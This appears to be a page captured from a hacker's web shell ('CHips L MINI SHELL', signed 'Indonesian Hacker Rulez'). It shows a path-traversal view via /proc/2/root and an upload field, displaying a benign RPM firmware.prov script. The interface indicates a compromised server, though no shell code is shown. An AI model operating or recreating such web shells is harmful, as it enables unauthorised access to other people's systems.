CHips L MINI SHELL

CHips L pro

Current Path : /proc/2/root/usr/lib/rpm/redhat/find-provides.d/
Upload File :
Current File : //proc/2/root/usr/lib/rpm/redhat/find-provides.d/firmware.prov

#!/bin/sh
#
# firmware.prov - Automatically extract any and all firmware dependencies from
#                 kernel object (.ko) files and add to RPM deps.

IFS=$'\n'

for module in $(grep -E '/lib/modules/.+\.ko$') $*;
do
    for firmware in `/sbin/modinfo -F firmware $module`;
    do
        echo "firmware($firmware)"
    done
done

Copyright 2K16 - 2K18 Indonesian Hacker Rulez